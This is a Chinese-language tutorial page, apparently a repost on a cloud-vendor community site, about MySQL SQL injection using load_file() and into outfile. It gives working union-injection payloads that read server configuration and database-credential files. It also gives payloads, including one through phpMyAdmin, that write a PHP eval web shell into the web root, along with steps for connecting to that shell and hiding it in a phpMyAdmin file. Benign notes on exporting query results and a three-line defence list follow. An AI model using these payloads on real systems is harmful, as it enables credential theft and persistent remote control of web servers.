mysql load_file()和 into outfile

來源:互聯網
上載者:User

標籤:mysql伺服器   from   tab   union   php @   輸入   style   ini   mysq   

 0x00 load_file()
  • 條件:
1. 要有file_priv許可權2. 知道檔案絕對路徑3. 能使用union4. 對web目錄有讀許可權  註:若過濾了單引號,則可以將函數中的字元進行hex編碼
  • 一般步驟

    • 讀/etc/init.d下的東西,這裡有設定檔路徑
    ?id=1‘ union select 1,2,load_file(‘/etc/init.d/httpd‘)
    • 得到web安裝路徑
    ?id=1‘ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf‘)
    • 讀取密碼檔案
    ?id=1‘ union select 1,2,load_file(‘/site/xxx.com/conf/conn.inc.php‘)
0x01 into outfile
  • 條件:
1. 要有file_priv許可權  2. 知道網站絕對路徑  3. 要能用union  4. 對web目錄有寫入權限  5. 沒有過濾單引號
  • 一般方法
    當知道路徑時,可以直接用?id=1 union select "<?php @eval($_POST[‘c‘]);?>" into outfile("C:/phpStudy/WWW/a.php")




  • 其他方法

    • 登陸phpMyAdmin
    use test;  選擇資料庫為testcreate table aaa(bbb varchar(64));   在資料庫中建立一個表aaainsert into aaa values("<?php @eval($_POST[‘c‘]);?>"); --在aaa中插入一條資料<?php @eval($_POST[‘c‘]);?>select * from aaa into outfile ‘C:/phpStudy/WWW/a.php‘; --將aaa中的資料匯出到檔案a.php
    • localhost:80/a.php能訪問
    drop aaa; --刪除建立的表
    • 然後菜刀串連
    菜刀串連http://www.aa.com/a.php,然後更改shell的名字並將shell放在較隱形地方,比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php

 

 

1、如果MYSQL伺服器就是你要匯出檔案的機器,那麼可以直接用select …into outfile語句。

 

select * from rank into outfile "/home/a.txt"

 

2、如果MYSQL伺服器是單獨的機器,我們是在一個client上進行操作,我們要把資料結果匯入到client機器上。可以使用mysql -e語句。

 

mysql -uroot -proot -P3306 -h10.35.13.89 dbname -e "select * from rank" > /home/a.txt

 

3、使用mysql的tee(T)命令,也就是把MYSQL的所有輸出都輸入到指定檔案。

 

mysql>tee /home/a.txt
mysql>select * from rank;
mysql>exit

 

 

mysql> \T output.txt
Logging to file ‘output.txt‘
mysql> \t
Outfile disabled.

 

0x02 防禦
  • 資料庫連接帳號不要用root許可權
  • php關閉報錯模式
  • mysql賬戶沒有許可權向網站目錄寫檔案

mysql load_file()和 into outfile

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.